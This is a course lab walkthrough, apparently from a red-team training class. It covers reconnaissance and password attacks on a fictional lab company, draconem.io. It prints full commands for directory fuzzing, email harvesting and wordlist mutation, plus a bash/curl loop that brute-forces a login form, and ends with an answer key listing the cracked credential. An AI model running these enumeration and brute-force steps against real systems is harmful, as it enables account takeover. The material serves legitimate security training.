Lab 1.4 : Reconnaissance and Password Attacks
Objectives
- Perform reconnaissance by analyzing Draconem.io website
- Identify who to target for password attacks
- Discover valid usernames by harvesting email addresses
- Use CeWL to create a custom wordlist
- Use John and Hashcat to mutate the custom wordlist
- Conduct a password brute force attack from the command line
- Bonus: Continue username enumeration to discover other valid users
This lab will focus on the Execution Phase of a Red Team Adversary Emulation engagement where the Red Team performs Reconnaissance and prepares for password attacks. In this lab, you will think creatively like an adversary to conduct reconnaissance and learn about the target organization. You will need to perform reconnaissance on the draconem.io target website to learn more about the target. That information could be used for social engineering, phishing, and/or password attacks.
Ensure that you can access the draconem.io website from the Slingshot Linux VM: http://www.draconem.io/
TTPs Emulated in this Lab
- T1594 - Search Victim-Owned Websites
- T1592 - Gather Victim Host Information
- T1592.002 - Gather Victim Host Information: Software
- T1589 - Gather Victim Identity Information
- T1589.002 - Gather Victim Identity Information: Email Addresses
- T1589.003 - Gather Victim Identity Information: Employee Names
- T1590 - Gather Victim Network Information
- T1591 - Gather Victim Org Information
- T1591.004 - Gather Victim Org Information: Identify Roles:
- T1078 - Valid Accounts
- T1087.003 - Account Discovery: Email Account
- T1110.001 - Brute Force: Password Guessing
Preparation
Preparation Steps
Ensure you are connected to the VPN and can ping from the Slingshot Linux VM to the draconem.io website.
Open a terminal on Slingshot. Connect to the VPN with openvpn and take note of your ip address:
sudo openvpn ~/Desktop/sec565-labs-range.ovpn
Ctrl+Shift+t to open a new terminal tab, then run the following command to create four ICMP packets :
ping -c 4 draconem.io
If you get a successful ping, then curl the website. The ping tests icmp while the curl tests dns, tcp, and http.
curl draconem.io | head

On Your Own
Perform reconnaissance and password attacks against draconem.io:
Who are the company executives?
________________________________________________________________
What is/are their email address(es)?
________________________________________________________________
What is the draconem.io email address format/syntax?
________________________________________________________________
Can you guess other possible email addresses?
________________________________________________________________
What credentials did you discover?
________________________________________________________________
What version of Microsoft Exchange is the company running?
________________________________________________________________
Walkthrough
1. Let's first visit our target's public website located at http://www.draconem.io and take a moment to browse around to get an idea of the company and take note of important information.

2. Under the Careers we see a number of job openings, this could be a valuable source of information that may reveal what software Draconem uses.
Identify the open positions.
Identify the email address to send resumes.
Identify the version of Exchange in the job posting.

3. Under Leadership we see four of the main executives of the company, we should keep track of their names and emails. Note that the email format is first.last@draconem.io. Knowing this format will inform our password attacks.
Note the names of the leadership team, their roles and email addresses.

4. Let's do a little enumeration of the target website. There are dozens of tools we can use to either spider or brute force directories in order to find other resources. For this lab we will use FFUF or Fuzz Faster U Fool. FFUF is a tool written in go that makes it easy to pick a wordlist and a fuzz point.
cd /labs/sec-1/recon
raft-small-words.txt from the SecLists project hosted in github.
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt -o directories.txt
-mc 200,301 to indicate that we only want HTTP status codes 200 (OK), and 301 (Moved Permanently). We identify our wordlist with -w directories.txt and then we point fuff at http://www.draconem.io/FUZZ, the string FUZZ will be replaced with each line in our wordlist.
ffuf -mc 200,301 -w directories.txt -u http://www.draconem.io/FUZZ
5. Let's investigate the onboarding directory.

Success, we found a resource that isn't linked from any other page on the website, this was only discovered through directory brute forcing, spidering would not have led us here.
The next step is to see how this form is set up and explore possible vulnerabilities. Try to authenticate with a random username and password. you should see a response from the webserver stating: "No account found with that username." This is a poor practice because it gives us a positive and negative response based on just the username. That means we could do username enumeration because of the unique response. Our first goal will be to identify some usernames that are disclosed on the website, remember the "Leadership" section. We learned that the email addresses are first.last@draconem.io.
Note
This site should not be vulnerable to command injection nor sql injection, we are using it to demonstrate password attacks.
6. Another way to harvest data from the website is with a tool called CeWL, pronounced "cool". CeWL creates custom wordlists by spidering the site and parsing each individual word based off the set criteria. We will use this technique to collect key words from the website and then mutate that wordlist for a password brute forcing attack.
Let's break down this next command. We are targeting draconem.io with CeWL, we enable verbosity with -v, set a depth of 1 with -d 1. Depth indicates how many levels CeWL will spider, a larger value means that CeWL will continue to follow links. By default CeWL will not follow an offsite link, it will stay within the target domain. We use -m 9 to state that we are only interested in words that are 9 characters or more. We identify the output file of words with -w words.txt and lastly, we want CeWL to parse any emails it finds and write them to emails.txt with -e --email_file emails.txt. Lastly, we will copy the output files to our working directory.
sudo cewl http://www.draconem.io/ -v -d 1 -m 9 -w words.txt -e --email_file emails.txt
cp /opt/cewl/*.txt .
sec565@slingshot:/labs/sec-1/recon$ cewl http://www.draconem.io/ -v -d 1 -m 9 -w words.txt -e --email_file emails.txt
CeWL 5.3 (Heading Upwards) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Starting at http://www.draconem.io/
/usr/lib/ruby/vendor_ruby/spider/spider_instance.rb:125: warning: constant ::Fixnum is deprecated
Visiting: http://www.draconem.io/, got response code 200
Attribute text found:
alternative alternative alternative alternative alternative alternative alternative alternative alternative Squawker Timeline
Found contact@draconem.io on page http://www.draconem.io/
Visiting: http://www.draconem.io/index.html referred from http://www.draconem.io/, got response code 200
Attribute text found:
alternative alternative alternative alternative alternative alternative alternative alternative alternative Squawker Timeline
Found contact@draconem.io on page http://www.draconem.io/index.html
Visiting: http://www.draconem.io/jobs/job1.html referred from http://www.draconem.io/, got response code 200
Attribute text found:
alternative alternative alternative
Found hr@draconem.io on page http://www.draconem.io/jobs/job1.html
Visiting: http://www.draconem.io/jobs/job2.html referred from http://www.draconem.io/, got response code 200
Attribute text found:
alternative alternative alternative
... truncated ...
Found hr@draconem.io on page http://www.draconem.io/jobs/job6.html
Found Drew.Dorwood@draconem.io on page mailto:Drew.Dorwood@draconem.io
Offsite link, not following: https://twitter.com/pwnEIP
Offsite link, not following: https://www.linkedin.com/in/barrett-darnell/
Found Greg.Dussy@draconem.io on page mailto:Greg.Dussy@draconem.io
Offsite link, not following: https://twitter.com/Jean_Maes_1994
Offsite link, not following: https://www.linkedin.com/in/jean-francois-maes/
Found Corbin.Lorenc@draconem.io on page mailto:Corbin.Lorenc@draconem.io
Offsite link, not following: https://twitter.com/SANSOffensive
Offsite link, not following: https://www.linkedin.com/showcase/sans-offensive-operations/
Found Catherina.Westell@draconem.io on page mailto:Catherina.Westell@draconem.io
Offsite link, not following: https://twitter.com/SANSInstitute
Offsite link, not following: https://www.linkedin.com/company/sans-institute/
Offsite link, not following: tel:00817202212
Offsite link, not following: https://themewagon.com/
Writing words to file
Dumping email addresses to file
7. You'll notice we have 6 emails harvested from the website, but if you go back to the homepage, there was a squawk from Draconem.io welcoming a new member to the team. Let's add them to our email list by using the username format we discovered from before.

sudo chown sec565:sec565 *
ll
wc -l *
cat emails.txt
echo "seth.duncan@draconem.io" >> emails.txt
cat emails.txt
8. The next step is to mutate our list of keywords from the website. We are going to use John and Hashcat to create these mutations.
First, with John we can use the default set of rules by providing a wordlist with --wordlist=words.txt and identifying the rules with --rules. We'll have the mutations go to --stdout and redirect that to a file named john-mutations.txt
john --wordlist=words.txt --rules --stdout > john-mutations.txt
Then we will use Hashcat by setting a wordlist with --force words.txt and setting a rules file with -r /opt/hashcat/rules/leetspeak.rule and again sending to --stdout and redirecting that to a file called hashcat-mutations.txt
hashcat --force words.txt -r /opt/hashcat/rules/leetspeak.rule --stdout > hashcat-mutations.txt
Once both of these wordlists are created, take a look at the mutations to see how they differ. You can use cat, head, tail, less, more, vim and even gedit to view these wordlists. In the screenshot we are using shuf -n 4 john-mutations.txt to print 4 random lines from the file. We started with 296 words and created 14,405 mutations with John. You should see that John's mutations were mostly adding characters to the front and back of the original words. Meanwhile, we chose the leetspeak ruleset to mutate the original wordlist into 5,032 words by substituting alphabet characters with numbers and special characters.

9. Now that we have known usernames and a few wordlists, we are going to craft a brute forcer using bash and curl. There are many tools that can make this process easier but it's helpful to know how to script it yourself. We will walk through each step of this process.
We want to be able to interact with the website from the command line so that we can automate our attack. We will use curl to send an HTTP POST to the website with a set of credentials. We can use a web proxy or tool like Burp Suite, or we can simply attempt to authenticate and use the browser's developer tools to examine the web request. Open the Firefox browser to http://www.draconem.io/onboarding/ and hit F12 or use the hamburger menu in the upper right -> More tools -> Web Developer Tools.

Then navigate to the Network tab. Now submit a username and password and examine the web request.

You can continue using firefox to examine the web request but we want to take this to the command line. Right click on the post request then select Copy as -> Copy as cURL.

10. Open up a text editor by clicking on the top Slingshot menu: Applications -> Accessories -> Text Editor. In the Text Editor, Right Click -> Paste or CTRL+V to paste your curl statement.
curl 'http://www.draconem.io/onboarding/' -X POST -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://www.draconem.io' -H 'Connection: keep-alive' -H 'Referer: http://www.draconem.io/onboarding/' -H 'Cookie: PHPSESSID=f72968120e2acf1c4d9fcfa881c3e416' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'username=seth.duncan&password=test&submit='
There is a lot going on here because of all the HTTP Headers, for the sake of this lab we are going to simplify the request by just keeping the URL, HTTP method, and data payload. We will also change the single quotes in the data payload to double quotes in order to take advantage of shell variable. For example we want to replace the hard-coded text with a variable. we are also adding the command line switches -s for silent, -k for insecure (ignore ssl issues), and -i to include HTTP response headers. Let's first test this before creating our brute force loop.
Note
The -X POST is a little redundant because cURL will automatically send the request as a POST because there is a data payload.
Remove the extra headers and run the following shortened command:
curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=seth.duncan&password=test&submit="

11. Next we want to create a sub directory to store our responses with mkdir attempts. Assign a shell variable for our username with u="seth.duncan" and a variable to keep count with count=0.
mkdir attempts
u="seth.duncan"
count=0
We are going to use a while loop to iterate through our passwords, we will collect the response and parse out the <h4> tags using grep. As we test this website we notice that the <h4> tag is used for the web server's response to our authentication request. Our while loop will read each line of the input file and assign that string to a variable of our choosing. To test the syntax, let's set up our loop that will echo or print out the first 1000 passwords contained in hashcat-mutations.txt. First let's reduce that list.
head -n 1000 hashcat-mutations.txt > hashcat-mutations-1000.txt
You should copy the following three lines and paste them all into the terminal window.
while read p; do
echo $p
done < hashcat-mutations-1000.txt
12. With a working loop we can now set up the rest of our structure to send a web request with the username seth.duncan and a password from our custom word list. We create a unique filename by using the username and our count variable filename="attempts/$u-$count". We don't use the password because special characters would interfere with the filesystem. We echo the password into the file for tracking purposes, then send the request, parse the <h4> tag and append the result to the file. Before executing the next iteration of our loop we increment our count by 1 with ((count+=1)). Before we launch this attack let's start Wireshark so that we can see the network traffic that we are generating.
sudo wireshark &
count=0
while read p; do
filename="attempts/$u-$count"
echo $p > $filename
curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=$p&submit=" | grep "<h4>" >> $filename
((count+=1))
done < hashcat-mutations-1000.txt
echo $count
13. We have just sent 1000 authentication attempts to our target. A snippet of each response should be available in the attempts folder.
We can sort the files by size with ls -alS attempts/ | head to see if a specific request stands out. It appears that request number 866 is more than twice as big as the next largest request. If we look at the results from that attempt we can see that we were able to successfully authenticate with seth.duncan and a leet speak version of SeaSerpent: S3@S3rp3nt.
wc -l hashcat-mutations-1000.txt
ls -alS attempts/ | head

14. You can also examine each of the web requests in wireshark to see what the network traffic looks like. This helps with long running scripts to see that there is still network activity. It is also a great idea to use wireshark to parse the traffic to ensure your network traffic conforms to RFC. The traffic you want to inspect originates from the tun0 adapter.


15. We have just discovered valid credentials for our target. Keep note of any credentials you collect along the way. This was a password brute force or password guessing attack. We used a few usernames and large list of possible passwords to find valid credentials. Note that this was only possible due to a few circumstances.
- We did not notice an account lockout mechanism
- We harvested valid usernames and could verify them by using the website's error message
- We are able to send as many attempts as we want, as fast as the website can handle them, because it does not implement rate limiting or blocking of our source ip.
- As a final note, we can increase the speed of this brute forcing by using threading or forking.
Lab Answers
Who are the company executives?
- Drew Dorwoord, CEO
- Greg Dussy, CTO
- Corbin Lorenc, VP Sales
- Catherina Westell, VP Marketing
What are their email address(es)?
- Drew.Dorwood@draconem.io
- Greg.Dussy@draconem.io
- Corbin.Lorenc@draconem.io
- Catherina.Westell@draconem.io
What is the draconem.io email address format/syntax?
Can you guess other possible email addresses?
What credentials did you discover?
- seth.duncan : S3@S3rp3nt
What version of Microsoft Exchange is the company running?
- Exchange 2019 15.02.0792
Conclusion
In this lab, you gathered information about the target, the employees, and open positions. These steps were critical in launching password attacks to collect credentials. There were quite a few tools introduced in this lab as well as manual methods. Although there are numerous tools to automate many of these steps, we feel it is important to visit the basics and have the ability to automate these actions with minimal tools. Successful Red Team Operators maintain vast toolkits and spend the time to understand the low level details of the technique, various implementations, and knowledge of which tools is best for the task at hand. Operators should always be prepared to achieve their objective in the absence of their favorite tools, especially in a living off the land scenario.